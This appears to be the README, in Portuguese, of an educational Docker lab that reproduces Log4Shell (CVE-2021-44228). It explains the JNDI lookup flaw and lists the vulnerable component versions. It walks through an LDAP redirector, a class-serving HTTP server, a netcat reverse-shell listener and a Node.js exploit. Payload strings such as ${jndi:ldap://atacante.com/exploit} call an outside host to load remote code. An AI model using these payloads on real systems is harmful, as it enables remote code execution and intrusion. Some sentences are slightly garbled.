
Laboratório educacional baseado em Docker demonstrando exploração de RCE Log4Shell (CVE-2021-44228) com uma aplicação Java vulnerável, redirecionador LDAP e script de exploração automatizado.
DISCLAIMER
Este laboratório foi criado exclusivamente para fins educacionais e de pesquisa em segurança. Todo o tráfego ocorre dentro de uma rede Docker isolada. Não utilize este material em sistemas reais ou sem autorização explícita. O uso indevido pode ser crime. Use com responsabilidade.
A Log4Shell é uma vulnerabilidade crítica (CVSS 10.0) descoberta em dezembro de 2021 na biblioteca de logging Apache Log4j 2, amplamente usada em aplicações Java.
O Log4j possui um recurso de interpolação de expressões: ao registrar uma mensagem, ele avalia strings no formato ${...}. Por exemplo, ${java:version} é substituído pela versão do Java em tempo de execução.
O problema está no suporte ao protocolo JNDI (Java Naming and Directory Interface). Quando o Log4j encontra uma expressão como:
${jndi:ldap://atacante.com/exploit}
ele instrui a JVM a fazer uma consulta LDAP ao servidor do atacante. O servidor responde com uma referência a uma classe Java remota — e a JVM , resultando em .
O vetor de ataque é simples: qualquer campo que seja logado pelo servidor (headers HTTP, campos de formulário, cookies, etc.) pode ser o ponto de entrada do payload.
2.0-beta9 até 2.14.12.15.0 (e definitivamente em 2.17.0)O lab simula uma aplicação Java real usando as versões vulneráveis.
| Componente | Versão | Por quê é vulnerável |
|---|---|---|
| Apache Log4j | 2.14.1 | Avalia ${jndi:...} sem restrições |
| JDK | 1.8.0_181 | Anterior ao patch 8u191 que define trustURLCodebase=false |
| Spring Boot | 2.5.6 | Apenas o framework web; a vuln é do Log4j |
GET http://localhost:8080/log
Os seguintes headers são logados diretamente pelo Log4j — qualquer um deles pode ser o vetor de injeção:
X-Api-VersionUser-AgentX-Auth-Tokenattacker)| Serviço | Porta | Função |
|---|---|---|
| marshalsec (LDAP) | 1389 | Recebe o lookup JNDI e redireciona para o HTTP server |
| Python HTTP server | 8888 | Serve o Exploit.class para a JVM da vítima |
| netcat listener | 9001 | Recebe a conexão do reverse shell |
docker-compose up --build
Aguarde até ver nos logs:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds
Em outro terminal, rode o exploit Node.js:
node exploit/exploit.js
Saída esperada:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 9001
Observe o terminal onde o docker-compose está rodando. Nos logs do container attacker você verá a conexão do reverse shell chegando na porta 9001.
Para confirmar o touch /tmp/pwned dentro da app vulnerável:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"
By Guaxinim | Cyber Security Research